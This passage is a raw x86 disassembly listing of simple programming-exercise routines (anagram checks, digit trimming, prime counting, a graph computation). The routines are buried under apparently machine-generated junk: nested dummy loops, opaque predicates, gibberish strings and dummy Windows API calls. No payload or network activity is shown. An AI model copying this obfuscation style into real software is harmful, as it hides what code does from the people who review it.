jle 0x4ce120
and dword [ebp - 0x54c], 0
jmp 0x4ce036
mov eax, dword [ebp - 0x54c]
inc eax
mov dword [ebp - 0x54c], eax
cmp dword [ebp - 0x54c], 0x6a2e
jge 0x4ce120
and dword [ebp - 0xc7c], 0
jmp 0x4ce05c
mov eax, dword [ebp - 0xc7c]
inc eax
mov dword [ebp - 0xc7c], eax
cmp dword [ebp - 0xc7c], 0x69f6
jge 0x4ce11b
and dword [ebp - 0x544], 0
jmp 0x4ce082
mov eax, dword [ebp - 0x544]
inc eax
mov dword [ebp - 0x544], eax
cmp dword [ebp - 0x544], 0x7168
jge 0x4ce116
and dword [ebp - 0xf10], 0
jmp 0x4ce0a8
mov eax, dword [ebp - 0xf10]
inc eax
mov dword [ebp - 0xf10], eax
cmp dword [ebp - 0xf10], 0x22e5
jge 0x4ce111
mov eax, dword [ebp - 0xc7c]
imul eax, dword [ebp - 0x544]
cdq
idiv dword [ebp - 0xf10]
xor edx, dword [ebp - 0x54c]
mov eax, edx
cdq
mov dword [ebp - 0x1cbc], eax
mov dword [ebp - 0x1cb8], edx
push dword [ebp - 0x1cb8]
push dword [ebp - 0x1cbc]
lea ecx, [ebp - 0x3930]
call fcn.00402594
pop ecx
pop ecx
mov ecx, eax
call fcn.0041722f
push eax
call fcn.004f1488
pop ecx
lea ecx, [ebp - 0x3930]
call fcn.00401711
jmp 0x4ce09b
jmp 0x4ce075
jmp 0x4ce04f
jmp 0x4ce029
cmp dword [ebp - 0x1884], 0x1a70
jle 0x4ce32c
and dword [ebp - 0xf20], 0
jmp 0x4ce146
mov eax, dword [ebp - 0xf20]
inc eax
mov dword [ebp - 0xf20], eax
cmp dword [ebp - 0xf20], 0x458a
jge 0x4ce320
mov dword [ebp - 0x1864], 0x7069
mov dword [ebp - 0x25bc], str.hyfs_kesdmhmgx_nxl
cmp dword [ebp - 0x1864], 0x7202
jle 0x4ce260
push 0
call dword [sym.imp.GDI32.dll_GetBkColor]
and dword [ebp - 0xc84], 0
jmp 0x4ce198
mov eax, dword [ebp - 0xc84]
inc eax
mov dword [ebp - 0xc84], eax
cmp dword [ebp - 0xc84], 0x2e39
jge 0x4ce260
and dword [ebp - 0x554], 0
jmp 0x4ce1be
mov eax, dword [ebp - 0x554]
inc eax
mov dword [ebp - 0x554], eax
cmp dword [ebp - 0x554], 0x2b33
jge 0x4ce25b
and dword [ebp - 0xf18], 0
jmp 0x4ce1e4
mov eax, dword [ebp - 0xf18]
inc eax
mov dword [ebp - 0xf18], eax
cmp dword [ebp - 0xf18], 0x5912
jge 0x4ce256
and dword [ebp - 0x55c], 0
jmp 0x4ce206
mov eax, dword [ebp - 0x55c]
inc eax
mov dword [ebp - 0x55c], eax
cmp dword [ebp - 0x55c], 0x6f3d
jge 0x4ce254
mov eax, dword [ebp - 0xc84]
mov ecx, dword [ebp - 0x554]
shl eax, cl
mov ecx, dword [ebp - 0xf18]
imul ecx, dword [ebp - 0x55c]
sar eax, cl
cdq
mov dword [ebp - 0x1cc8], eax
mov dword [ebp - 0x1cc4], edx
push dword [ebp - 0x1cc4]
push dword [ebp - 0x1cc8]
mov ecx, 0xac7538
call fcn.004178b5
jmp 0x4ce1f9
jmp 0x4ce1d7
jmp 0x4ce1b1
jmp 0x4ce18b
and dword [ebp - 0xc8c], 0
jmp 0x4ce276
mov eax, dword [ebp - 0xc8c]
inc eax
mov dword [ebp - 0xc8c], eax
cmp dword [ebp - 0xc8c], 0x7cfa
jge 0x4ce2ff
and dword [ebp - 0x564], 0
jmp 0x4ce298
mov eax, dword [ebp - 0x564]
inc eax
mov dword [ebp - 0x564], eax
cmp dword [ebp - 0x564], 0x7a12
jge 0x4ce2fa
mov eax, dword [ebp - 0xc8c]
cdq
idiv dword [ebp - 0x564]
or edx, dword [ebp - 0xf20]
mov eax, edx
cdq
mov dword [ebp - 0x1cd4], eax
mov dword [ebp - 0x1cd0], edx
push dword [ebp - 0x1cd0]
push dword [ebp - 0x1cd4]
lea ecx, [ebp - 0x3960]
call fcn.00402594
pop ecx
pop ecx
mov ecx, eax
call fcn.0041722f
push eax
call fcn.004f1488
pop ecx
lea ecx, [ebp - 0x3960]
call fcn.00401711
jmp 0x4ce28b
jmp 0x4ce269
cmp dword [ebp - 0x1864], 0x6ea1
jge 0x4ce31b
mov edx, dword [ebp - 0x25bc]
mov ecx, 0xac7538
call fcn.0041c2dd
jmp 0x4ce139
push 0
push 0
push 0
call dword [sym.imp.GDI32.dll_GetPixel]
cmp dword [ebp - 0x186c], 0x3995
jge 0x4ce46f
mov dword [ebp - 0x2858], 0x1600
cmp dword [ebp - 0x2858], 0xff8
jge 0x4ce463
lea eax, [ebp - 0x49c]
push eax
push str._ld_n
call fcn.004f117c
pop ecx
pop ecx
mov eax, dword [ebp - 0x49c]
and eax, 0x80000001
jns 0x4ce37b
dec eax
or eax, 0xfffffffe
inc eax
test eax, eax
je 0x4ce458
and dword [ebp - 0x56c], 0
jmp 0x4ce399
mov eax, dword [ebp - 0x56c]
inc eax
mov dword [ebp - 0x56c], eax
mov eax, dword [ebp - 0x56c]
cmp eax, dword [ebp - 0x49c]
jge 0x4ce3bb
push dword [ebp - 0x56c]
push str._ld
call fcn.004f1488
pop ecx
pop ecx
jmp 0x4ce38c
push 0xab559b
call fcn.004f1b87
pop ecx
and dword [ebp - 0xc94], 0
jmp 0x4ce3dc
mov eax, dword [ebp - 0xc94]
inc eax
mov dword [ebp - 0xc94], eax
mov eax, dword [ebp - 0xc94]
cmp eax, dword [ebp - 0x49c]
jge 0x4ce3fe
push dword [ebp - 0xc94]
push str._ld
call fcn.004f1488
pop ecx
pop ecx
jmp 0x4ce3cf
push 0xab559b
call fcn.004f1b87
pop ecx
and dword [ebp - 0x574], 0
jmp 0x4ce41f
mov eax, dword [ebp - 0x574]
inc eax
mov dword [ebp - 0x574], eax
mov eax, dword [ebp - 0x574]
cmp eax, dword [ebp - 0x49c]
jge 0x4ce44b
mov eax, dword [ebp - 0x574]
shl eax, 1
cdq
idiv dword [ebp - 0x49c]
push edx
push str._ld
call fcn.004f1488
pop ecx
pop ecx
jmp 0x4ce412
push 0xab559b
call fcn.004f1b87
pop ecx
jmp 0x4ce463
push 0xab5cc8
call fcn.004f1b87
pop ecx
push dword [ebp - 0x25c4]
call fcn.004f1488
pop ecx
mov dword [ebp - 0x2968], 0x1e24
cmp dword [ebp - 0x2968], 0x1207
jge 0x4ce6d4
lea eax, [ebp - 0x31c]
push eax
lea eax, [ebp - 0x2e18]
push eax
mov ecx, 0xac75e0
call fcn.00417279
mov ecx, eax
call fcn.00417279
lea ecx, [ebp - 0x2ce8]
call fcn.004016ac
lea edx, [ebp - 0x2ce8]
mov ecx, 0xac75e0
call fcn.0041c6ac
cmp dword [ebp - 0x31c], 0x1a
jne 0x4ce4e7
push fcn.0041c2ab
mov edx, 0xab5938
mov ecx, 0xac7538
call fcn.0041c2dd
mov ecx, eax
call fcn.00417675
and dword [ebp - 0x25cc], 0
lea eax, [ebp - 0x25cc]
push eax
push 0x1a
lea ecx, [ebp - 0x2bfc]
call fcn.00417a52
and dword [ebp - 0x2860], 0
lea eax, [ebp - 0x2860]
push eax
push 0x1a
lea ecx, [ebp - 0x2b4c]
call fcn.00417a52
mov byte [ebp - 0xad], 0
and dword [ebp - 0xf28], 0
jmp 0x4ce53a
mov eax, dword [ebp - 0xf28]
inc eax
mov dword [ebp - 0xf28], eax
lea ecx, [ebp - 0x2ce8]
call fcn.0040175f
cmp dword [ebp - 0xf28], eax
jae 0x4ce594
push dword [ebp - 0xf28]
lea ecx, [ebp - 0x2ce8]
call fcn.0040174b
movsx eax, byte [eax]
sub eax, 0x41
mov dword [ebp - 0x1ba8], eax
push dword [ebp - 0x1ba8]
lea ecx, [ebp - 0x2bfc]
call fcn.00417bb8
mov dword [ebp - 0x1874], eax
mov eax, dword [ebp - 0x1874]
mov eax, dword [eax]
inc eax
mov ecx, dword [ebp - 0x1874]
mov dword [ecx], eax
jmp 0x4ce52d
and dword [ebp - 0x57c], 0
jmp 0x4ce5aa
mov eax, dword [ebp - 0x57c]
inc eax
mov dword [ebp - 0x57c], eax
lea ecx, [ebp - 0x2ce8]
call fcn.0040175f
cmp dword [ebp - 0x57c], eax
jae 0x4ce670
push dword [ebp - 0x57c]
lea ecx, [ebp - 0x2ce8]
call fcn.0040174b
movsx eax, byte [eax]
sub eax, 0x41
mov byte [ebp - 0x1d], al
movsx eax, byte [ebp - 0x1d]
push eax
lea ecx, [ebp - 0x2b4c]
call fcn.00417bb8
cmp dword [eax], 0
jne 0x4ce5fd
mov eax, dword [ebp - 0x31c]
dec eax
mov dword [ebp - 0x31c], eax
movsx eax, byte [ebp - 0x1d]
push eax
lea ecx, [ebp - 0x2b4c]
call fcn.00417bb8
mov dword [ebp - 0x187c], eax
mov eax, dword [ebp - 0x187c]
mov eax, dword [eax]
inc eax
mov ecx, dword [ebp - 0x187c]
mov dword [ecx], eax
cmp dword [ebp - 0x31c], 0
jge 0x4ce636
mov byte [ebp - 0xad], 1
jmp 0x4ce670
movsx eax, byte [ebp - 0x1d]
push eax
lea ecx, [ebp - 0x2bfc]
call fcn.00417bb8
mov esi, eax
movsx eax, byte [ebp - 0x1d]
push eax
lea ecx, [ebp - 0x2b4c]
call fcn.00417bb8
mov ecx, dword [esi]
cmp ecx, dword [eax]
jne 0x4ce66b
mov eax, dword [ebp - 0x31c]
inc eax
mov dword [ebp - 0x31c], eax
jmp 0x4ce59d
movzx eax, byte [ebp - 0xad]
test eax, eax
je 0x4ce698
push fcn.0041c2ab
mov edx, 0xab5934
mov ecx, 0xac7538
call fcn.0041c2dd
mov ecx, eax
call fcn.00417675
jmp 0x4ce6b3
push fcn.0041c2ab
mov edx, 0xab5938
mov ecx, 0xac7538
call fcn.0041c2dd
mov ecx, eax
call fcn.00417675
lea ecx, [ebp - 0x2b4c]
call fcn.00417aef
lea ecx, [ebp - 0x2bfc]
call fcn.00417aef
lea ecx, [ebp - 0x2ce8]
call fcn.00401711
mov dword [ebp - 0x25f4], str.ffroenhu_cbnjvlg_aub_trxrikfqh_hbgethu
cmp dword [ebp - 0x1884], 0x15b2
jge 0x4ce7ad
mov dword [ebp - 0x188c], 0x4aa2
mov dword [ebp - 0x1bb8], str.qpgsxp_qvppnfqy_niiw_rtkmtqgpm_jtgidrbah_ljeuy_hsqhdydx
cmp dword [ebp - 0x188c], 0x4e3d
jle 0x4ce785
and dword [ebp - 0xc9c], 0
jmp 0x4ce724
mov eax, dword [ebp - 0xc9c]
inc eax
mov dword [ebp - 0xc9c], eax
cmp dword [ebp - 0xc9c], 0x5898
jge 0x4ce785
and dword [ebp - 0x584], 0
jmp 0x4ce746
mov eax, dword [ebp - 0x584]
inc eax
mov dword [ebp - 0x584], eax
cmp dword [ebp - 0x584], 0x6f3f
jge 0x4ce783
mov eax, dword [ebp - 0xc9c]
add eax, dword [ebp - 0x584]
cdq
mov dword [ebp - 0x1ce0], eax
mov dword [ebp - 0x1cdc], edx
push dword [ebp - 0x1cdc]
push dword [ebp - 0x1ce0]
mov ecx, 0xac7538
call fcn.004178b5
jmp 0x4ce739
jmp 0x4ce717
push dword [ebp - 0x1bb0]
call fcn.004f1488
pop ecx
cmp dword [ebp - 0x188c], 0x49f6
jge 0x4ce7ad
mov edx, dword [ebp - 0x1bb8]
mov ecx, 0xac7538
call fcn.0041c2dd
cmp dword [ebp - 0x1894], 0x21c
jge 0x4ce7c9
mov edx, dword [ebp - 0x1bc0]
mov ecx, 0xac7538
call fcn.0041c2dd
mov dword [ebp - 0x17a0], 0x43fa
mov dword [ebp - 0x2868], str.joyq_syuw_siomsajwx_ivpddh_sgy_gnho_qlfssolgy_cafdusv_qryikswlr_itbeg_dktkciks_nqwjuieya
cmp dword [ebp - 0x17a0], 0x450d
jle 0x4ced2d
and dword [ebp - 0x594], 0
jmp 0x4ce803
mov eax, dword [ebp - 0x594]
inc eax
mov dword [ebp - 0x594], eax
cmp dword [ebp - 0x594], 0x1da5
jge 0x4ced1f
and dword [ebp - 0xf38], 0
jmp 0x4ce829
mov eax, dword [ebp - 0xf38]
inc eax
mov dword [ebp - 0xf38], eax
cmp dword [ebp - 0xf38], 0x3798
jge 0x4ced1a
mov dword [ebp - 0x1bc8], 0x2668
cmp dword [ebp - 0x1bc8], 0xa90
jge 0x4cec9f
xor cl, cl
call fcn.00402508
lea ecx, [ebp - 0x2ab8]
call fcn.004016ac
lea edx, [ebp - 0x2ab8]
mov ecx, 0xac75e0
call fcn.0041c6ac
push 0xab559b
lea ecx, [ebp - 0x2bb4]
call fcn.004016bd
and dword [ebp - 0x324], 0
jmp 0x4ce89b
mov eax, dword [ebp - 0x324]
inc eax
mov dword [ebp - 0x324], eax
lea ecx, [ebp - 0x2ab8]
call fcn.0040175f
cmp dword [ebp - 0x324], eax
jae 0x4ce91a
lea ecx, [ebp - 0x2bb4]
call fcn.0040175f
test eax, eax
jne 0x4ce8d8
push dword [ebp - 0x324]
lea ecx, [ebp - 0x2ab8]
call fcn.0040174b
movsx eax, byte [eax]
cmp eax, 0x30
jne 0x4ce8d8
jmp 0x4ce88e
push dword [ebp - 0x324]
lea ecx, [ebp - 0x2ab8]
call fcn.0040174b
movsx eax, byte [eax]
cmp eax, 0x2e
jne 0x4ce8f3
jmp 0x4ce91a
push dword [ebp - 0x324]
lea ecx, [ebp - 0x2ab8]
call fcn.0040174b
mov al, byte [eax]
movzx eax, al
push eax
lea ecx, [ebp - 0x2bb4]
call fcn.0040171b
jmp 0x4ce88e
push 0xab559b
lea ecx, [ebp - 0x1adc]
call fcn.004016bd
push 0
push 0x2e
lea ecx, [ebp - 0x2ab8]
call fcn.0041723a
cmp eax, dword [0xab560c]
je 0x4cea07
lea ecx, [ebp - 0x2ab8]
call fcn.0040175f
dec eax
mov dword [ebp - 0x32c], eax
jmp 0x4ce966
mov eax, dword [ebp - 0x32c]
dec eax
mov dword [ebp - 0x32c], eax
cmp dword [ebp - 0x32c], 0
jl 0x4ce9d8
lea ecx, [ebp - 0x1adc]
call fcn.0040175f
test eax, eax
jne 0x4ce999
push dword [ebp - 0x32c]
lea ecx, [ebp - 0x2ab8]
call fcn.0040174b
movsx eax, byte [eax]
cmp eax, 0x30
jne 0x4ce999
jmp 0x4ce959
push dword [ebp - 0x32c]
lea ecx, [ebp - 0x2ab8]
call fcn.0040174b
movsx eax, byte [eax]
cmp eax, 0x2e
jne 0x4ce9b4
jmp 0x4ce9d8
push dword [ebp - 0x32c]
lea ecx, [ebp - 0x2ab8]
call fcn.0040174b
mov al, byte [eax]
movzx eax, al
push eax
lea ecx, [ebp - 0x1adc]
call fcn.0040171b
jmp 0x4ce959
lea eax, [ebp - 0x2e48]
push eax
lea ecx, [ebp - 0x1adc]
call fcn.00401a7b
push dword [eax]
lea eax, [ebp - 0x2e40]
push eax
lea ecx, [ebp - 0x1adc]
call fcn.00401a67
push dword [eax]
call fcn.004eac9b
pop ecx
pop ecx
lea ecx, [ebp - 0x2bb4]
call fcn.0040175f
test eax, eax
jne 0x4ceb15
and dword [ebp - 0x1c0], 0
push dword [ebp - 0x1c0]
lea ecx, [ebp - 0x1adc]
call fcn.0040174b
movsx eax, byte [eax]
cmp eax, 0x30
jne 0x4cea49
mov eax, dword [ebp - 0x1c0]
inc eax
mov dword [ebp - 0x1c0], eax
jmp 0x4cea21
mov eax, dword [ebp - 0x1c0]
neg eax
dec eax
mov dword [ebp - 0x1bd0], eax
push dword [ebp - 0x1c0]
lea ecx, [ebp - 0x1adc]
call fcn.0040174b
mov dl, byte [eax]
mov ecx, 0xac7538
call fcn.0041c4df
mov esi, dword [ebp - 0x1c0]
inc esi
lea ecx, [ebp - 0x1adc]
call fcn.0040175f
cmp esi, eax
jae 0x4cea9a
mov edx, 0xab55e0
mov ecx, 0xac7538
call fcn.0041c2dd
mov eax, dword [ebp - 0x1c0]
inc eax
mov dword [ebp - 0xf30], eax
jmp 0x4ceab6
mov eax, dword [ebp - 0xf30]
inc eax
mov dword [ebp - 0xf30], eax
lea ecx, [ebp - 0x1adc]
call fcn.0040175f
cmp dword [ebp - 0xf30], eax
jae 0x4ceae8
push dword [ebp - 0xf30]
lea ecx, [ebp - 0x1adc]
call fcn.0040174b
mov dl, byte [eax]
mov ecx, 0xac7538
call fcn.0041c4df
jmp 0x4ceaa9
push fcn.0041c2ab
push dword [ebp - 0x1bd0]
mov edx, 0xabf964
mov ecx, 0xac7538
call fcn.0041c2dd
mov ecx, eax
call fcn.00417681
mov ecx, eax
call fcn.00417675
jmp 0x4cec7e
push 0
lea ecx, [ebp - 0x2bb4]
call fcn.0040174b
mov dl, byte [eax]
mov ecx, 0xac7538
call fcn.0041c4df
lea ecx, [ebp - 0x2bb4]
call fcn.0040175f
dec eax
mov dword [ebp - 0x4a4], eax
and dword [ebp - 0x334], 0
lea ecx, [ebp - 0x1adc]
call fcn.0040175f
test eax, eax
jne 0x4ceb8b
push dword [ebp - 0x4a4]
lea ecx, [ebp - 0x2bb4]
call fcn.0040174b
movsx eax, byte [eax]
cmp eax, 0x30
jne 0x4ceb8b
mov eax, dword [ebp - 0x334]
inc eax
mov dword [ebp - 0x334], eax
mov eax, dword [ebp - 0x4a4]
dec eax
mov dword [ebp - 0x4a4], eax
jmp 0x4ceb47
cmp dword [ebp - 0x4a4], 0
jg 0x4ceba3
lea ecx, [ebp - 0x1adc]
call fcn.0040175f
test eax, eax
jbe 0x4cebb2
mov edx, 0xab55e0
mov ecx, 0xac7538
call fcn.0041c2dd
mov dword [ebp - 0x58c], 1
jmp 0x4cebcb
mov eax, dword [ebp - 0x58c]
inc eax
mov dword [ebp - 0x58c], eax
mov eax, dword [ebp - 0x58c]
cmp eax, dword [ebp - 0x4a4]
jg 0x4cec05
mov eax, dword [ebp - 0x334]
inc eax
mov dword [ebp - 0x334], eax
push dword [ebp - 0x58c]
lea ecx, [ebp - 0x2bb4]
call fcn.0040174b
mov dl, byte [eax]
mov ecx, 0xac7538
call fcn.0041c4df
jmp 0x4cebbe
and dword [ebp - 0xca4], 0
jmp 0x4cec1b
mov eax, dword [ebp - 0xca4]
inc eax
mov dword [ebp - 0xca4], eax
lea ecx, [ebp - 0x1adc]
call fcn.0040175f
cmp dword [ebp - 0xca4], eax
jae 0x4cec4d
push dword [ebp - 0xca4]
lea ecx, [ebp - 0x1adc]
call fcn.0040174b
mov dl, byte [eax]
mov ecx, 0xac7538
call fcn.0041c4df
jmp 0x4cec0e
cmp dword [ebp - 0x334], 0
jle 0x4cec7e
push fcn.0041c2ab
push dword [ebp - 0x334]
mov edx, 0xabf964
mov ecx, 0xac7538
call fcn.0041c2dd
mov ecx, eax
call fcn.00417681
mov ecx, eax
call fcn.00417675
lea ecx, [ebp - 0x1adc]
call fcn.00401711
lea ecx, [ebp - 0x2bb4]
call fcn.00401711
lea ecx, [ebp - 0x2ab8]
call fcn.00401711
and dword [ebp - 0x59c], 0
jmp 0x4cecb5
mov eax, dword [ebp - 0x59c]
inc eax
mov dword [ebp - 0x59c], eax
cmp dword [ebp - 0x59c], 0xd35
jge 0x4ced15
mov eax, dword [ebp - 0x594]
imul eax, dword [ebp - 0xf38]
sub eax, dword [ebp - 0x59c]
cdq
mov dword [ebp - 0x1cec], eax
mov dword [ebp - 0x1ce8], edx
push dword [ebp - 0x1ce8]
push dword [ebp - 0x1cec]
lea ecx, [ebp - 0x3990]
call fcn.00402594
pop ecx
pop ecx
mov ecx, eax
call fcn.0041722f
push eax
call fcn.004f1488
pop ecx
lea ecx, [ebp - 0x3990]
call fcn.00401711
jmp 0x4ceca8
jmp 0x4ce81c
jmp 0x4ce7f6
push 0
push 0
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_SetSecurityDescriptorDacl]
cmp dword [ebp - 0x14d8], 0x60f7
jle 0x4d1ab6
mov dword [ebp - 0x14b8], 0x58ba
mov dword [ebp - 0x1bc4], str.yfopxbmf_spyxi_bqgovr_ysfy_anj_vcib_qokaet
cmp dword [ebp - 0x14b8], 0x5b98
jle 0x4d1497
mov dword [ebp - 0x1bd8], 0x1a97
cmp dword [ebp - 0x1bd8], 0xfd3
jge 0x4ceeec
xor eax, eax
inc eax
je 0x4ceeec
lea eax, [ebp - 0x314]
push eax
push 0xab5680
call fcn.004f117c
pop ecx
pop ecx
cmp dword [ebp - 0x314], 0
jne 0x4ceda5
jmp 0x4ceeec
lea eax, [ebp - 0x4008]
push eax
push 0xab57f4
call fcn.004f117c
pop ecx
pop ecx
lea eax, [ebp - 0x4008]
mov dword [ebp - 0x348], eax
mov eax, dword [ebp - 0x348]
inc eax
mov dword [ebp - 0x1be0], eax
mov eax, dword [ebp - 0x348]
mov al, byte [eax]
mov byte [ebp - 0x222], al
inc dword [ebp - 0x348]
cmp byte [ebp - 0x222], 0
jne 0x4cedd1
mov eax, dword [ebp - 0x348]
sub eax, dword [ebp - 0x1be0]
mov dword [ebp - 0x1be8], eax
mov eax, dword [ebp - 0x1be8]
xor edx, edx
div dword [ebp - 0x314]
mov dword [ebp - 0x1bf0], eax
and dword [ebp - 0x408], 0
jmp 0x4cee2a
mov eax, dword [ebp - 0x408]
inc eax
mov dword [ebp - 0x408], eax
mov eax, dword [ebp - 0x408]
cmp eax, dword [ebp - 0x314]
jge 0x4ceedc
and dword [ebp - 0x300], 0
jmp 0x4cee52
mov eax, dword [ebp - 0x300]
inc eax
mov dword [ebp - 0x300], eax
mov eax, dword [ebp - 0x300]
cmp eax, dword [ebp - 0x1bf0]
jge 0x4ceed7
mov eax, dword [ebp - 0x300]
and eax, 0x80000001
jns 0x4cee72
dec eax
or eax, 0xfffffffe
inc eax
test eax, eax
jne 0x4ceea0
mov eax, dword [ebp - 0x314]
imul eax, dword [ebp - 0x300]
add eax, dword [ebp - 0x408]
movsx eax, byte [ebp + eax - 0x4008]
push eax
push 0xab610c
call fcn.004f1488
pop ecx
pop ecx
jmp 0x4ceed2
mov eax, dword [ebp - 0x314]
imul eax, dword [ebp - 0x300]
mov ecx, dword [ebp - 0x314]
lea eax, [eax + ecx - 1]
sub eax, dword [ebp - 0x408]
movsx eax, byte [ebp + eax - 0x4008]
push eax
push 0xab610c
call fcn.004f1488
pop ecx
pop ecx
jmp 0x4cee45
jmp 0x4cee1d
push 0xab57b8
call fcn.004f1488
pop ecx
jmp 0x4ced7b
mov dword [ebp - 0x19d4], 0x3783
mov dword [ebp - 0x2a6c], str.qwphek_kfjwh_aiimvuoew_bwkmc_brwqwm_nqd_qqfwlc
cmp dword [ebp - 0x19d4], 0x3b29
jle 0x4d0247
mov dword [ebp - 0x1bf8], 0x2495
cmp dword [ebp - 0x1bf8], 0x127f
jge 0x4cf025
xor eax, eax
inc eax
imul eax, eax, 0
mov byte [eax + 0x2a02728], 1
xor eax, eax
inc eax
shl eax, 0
mov byte [eax + 0x2a02728], 1
call fcn.004cb90f
and dword [ebp - 0x12f4], 0
and dword [ebp - 0xcac], 0
lea eax, [ebp - 0x1c00]
push eax
mov ecx, 0xac75e0
call fcn.00417279
mov dword [ebp - 0x350], 1
jmp 0x4cef88
mov eax, dword [ebp - 0x350]
inc eax
mov dword [ebp - 0x350], eax
and dword [ebp - 0xcac], 0
mov eax, dword [ebp - 0x350]
cmp eax, dword [ebp - 0x1c00]
jg 0x4cf009
mov dword [ebp - 0x468], 1
jmp 0x4cefaf
mov eax, dword [ebp - 0x468]
inc eax
mov dword [ebp - 0x468], eax
mov eax, dword [ebp - 0x468]
cmp eax, dword [ebp - 0x350]
jg 0x4cefee
mov eax, dword [ebp - 0x468]
movzx eax, byte [eax + 0x2a02728]
test eax, eax
jne 0x4cefec
mov eax, dword [ebp - 0x350]
cdq
idiv dword [ebp - 0x468]
test edx, edx
jne 0x4cefec
mov eax, dword [ebp - 0xcac]
inc eax
mov dword [ebp - 0xcac], eax
jmp 0x4cefa2
cmp dword [ebp - 0xcac], 2
jne 0x4cf004
mov eax, dword [ebp - 0x12f4]
inc eax
mov dword [ebp - 0x12f4], eax
jmp 0x4cef74
push fcn.0041c2ab
push dword [ebp - 0x12f4]
mov ecx, 0xac7538
call fcn.00417681
mov ecx, eax
call fcn.00417675
mov dword [ebp - 0x18d4], 0x4974
mov dword [ebp - 0x28cc], str.lycgw_bccxeo_nlsym_wvvasgeug_gaixea_ovsrw_ahslw_snnpsxw_jutjcuuit_thtlgkby
cmp dword [ebp - 0x18d4], 0x4aea
jle 0x4cf510
and dword [ebp - 0xf40], 0
jmp 0x4cf05f
mov eax, dword [ebp - 0xf40]
inc eax
mov dword [ebp - 0xf40], eax
cmp dword [ebp - 0xf40], 0x45ff
jge 0x4cf510
and dword [ebp - 0x5ac], 0
jmp 0x4cf085
mov eax, dword [ebp - 0x5ac]
inc eax
mov dword [ebp - 0x5ac], eax
cmp dword [ebp - 0x5ac], 0x1c8d
jge 0x4cf50b
and dword [ebp - 0xcb4], 0
jmp 0x4cf0ab
mov eax, dword [ebp - 0xcb4]
inc eax
mov dword [ebp - 0xcb4], eax
cmp dword [ebp - 0xcb4], 0x5a7
jge 0x4cf506
mov dword [ebp - 0x1c08], 0x13c3
cmp dword [ebp - 0x1c08], 0x12d4
jge 0x4cf38b
lea eax, [ebp - 0x12fc]
push eax
push 0xab5680
call fcn.004f117c
pop ecx
pop ecx
mov eax, dword [ebp - 0x12fc]
mov dword [ebp - 0x1c10], eax
mov eax, dword [ebp - 0x12fc]
dec eax
mov dword [ebp - 0x12fc], eax
cmp dword [ebp - 0x1c10], 0
je 0x4cf38b
lea eax, [ebp - 0x238]
push eax
push 0xab5680
call fcn.004f117c
pop ecx
pop ecx
and dword [ebp - 0x5a4], 0
jmp 0x4cf137
mov eax, dword [ebp - 0x5a4]
inc eax
mov dword [ebp - 0x5a4], eax
mov eax, dword [ebp - 0x5a4]
cmp eax, dword [ebp - 0x238]
jge 0x4cf159
imul ecx, dword [ebp - 0x5a4], 0xc
add ecx, 0x2df30b0
call fcn.00417bf9
jmp 0x4cf12a
and dword [ebp - 0xd0], 0
jmp 0x4cf16f
mov eax, dword [ebp - 0xd0]
inc eax
mov dword [ebp - 0xd0], eax
mov eax, dword [ebp - 0xd0]
inc eax
cmp eax, dword [ebp - 0x238]
jge 0x4cf20c
mov eax, dword [ebp - 0xd0]
lea eax, [ebp + eax*4 - 0x4100]
push eax
mov eax, dword [ebp - 0xd0]
lea eax, [ebp + eax*4 - 0x3e2c]
push eax
mov eax, dword [ebp - 0xd0]
lea eax, [ebp + eax*4 - 0x3e98]
push eax
push str._d__d__d
call fcn.004f117c
add esp, 0x10
mov eax, dword [ebp - 0xd0]
lea eax, [ebp + eax*4 - 0x3e2c]
push eax
mov eax, dword [ebp - 0xd0]
imul ecx, dword [ebp + eax*4 - 0x3e98], 0xc
add ecx, 0x2df30b0
call fcn.00417a74
mov eax, dword [ebp - 0xd0]
lea eax, [ebp + eax*4 - 0x3e98]
push eax
mov eax, dword [ebp - 0xd0]
imul ecx, dword [ebp + eax*4 - 0x3e2c], 0xc
add ecx, 0x2df30b0
call fcn.00417a74
jmp 0x4cf162
push 4
pop eax
imul eax, eax, 0
mov dword [eax + 0x2735710], 0xfffffffe
push 0xffffffffffffffff
push 0
call fcn.004cb969
pop ecx
pop ecx
xorpd xmm0, xmm0
movlpd qword [ebp - 0x4bc], xmm0
and dword [ebp - 0x7c], 0
jmp 0x4cf240
mov eax, dword [ebp - 0x7c]
inc eax
mov dword [ebp - 0x7c], eax
mov eax, dword [ebp - 0x7c]
inc eax
cmp eax, dword [ebp - 0x238]
jge 0x4cf346
mov eax, dword [ebp - 0x7c]
mov eax, dword [ebp + eax*4 - 0x3e98]
mov ecx, dword [ebp - 0x7c]
mov eax, dword [eax*4 + 0x2735710]
cmp eax, dword [ebp + ecx*4 - 0x3e2c]
jne 0x4cf2d8
mov eax, dword [ebp - 0x7c]
mov eax, dword [ebp + eax*4 - 0x4100]
cdq
mov ecx, eax
mov esi, edx
mov eax, dword [ebp - 0x7c]
mov eax, dword [ebp + eax*4 - 0x3e98]
mov eax, dword [eax*4 + 0x2735448]
cdq
push edx
push eax
push esi
push ecx
call fcn.004f5310
mov ecx, eax
mov esi, edx
mov eax, dword [ebp - 0x7c]
mov eax, dword [ebp + eax*4 - 0x3e98]
mov edx, dword [ebp - 0x238]
sub edx, dword [eax*4 + 0x2735448]
mov eax, edx
cdq
push edx
push eax
push esi
push ecx
call fcn.004f5310
add eax, dword [ebp - 0x4bc]
adc edx, dword [ebp - 0x4b8]
mov dword [ebp - 0x4bc], eax
mov dword [ebp - 0x4b8], edx
jmp 0x4cf341
mov eax, dword [ebp - 0x7c]
mov eax, dword [ebp + eax*4 - 0x4100]
cdq
mov ecx, eax
mov esi, edx
mov eax, dword [ebp - 0x7c]
mov eax, dword [ebp + eax*4 - 0x3e2c]
mov eax, dword [eax*4 + 0x2735448]
cdq
push edx
push eax
push esi
push ecx
call fcn.004f5310
mov ecx, eax
mov esi, edx
mov eax, dword [ebp - 0x7c]
mov eax, dword [ebp + eax*4 - 0x3e2c]
mov edx, dword [ebp - 0x238]
sub edx, dword [eax*4 + 0x2735448]
mov eax, edx
cdq
push edx
push eax
push esi
push ecx
call fcn.004f5310
add eax, dword [ebp - 0x4bc]
adc edx, dword [ebp - 0x4b8]
mov dword [ebp - 0x4bc], eax
mov dword [ebp - 0x4b8], edx
jmp 0x4cf239
mov edx, dword [ebp - 0x4b8]
mov ecx, dword [ebp - 0x4bc]
call fcn.0050a74f
mov eax, dword [ebp - 0x238]
dec eax
imul eax, dword [ebp - 0x238]
cdq
sub eax, edx
sar eax, 1
cvtsi2sd xmm1, eax
divsd xmm0, xmm1
push ecx
push ecx
movsd qword [esp], xmm0
push str._.6f_n
call fcn.004f1488
add esp, 0xc
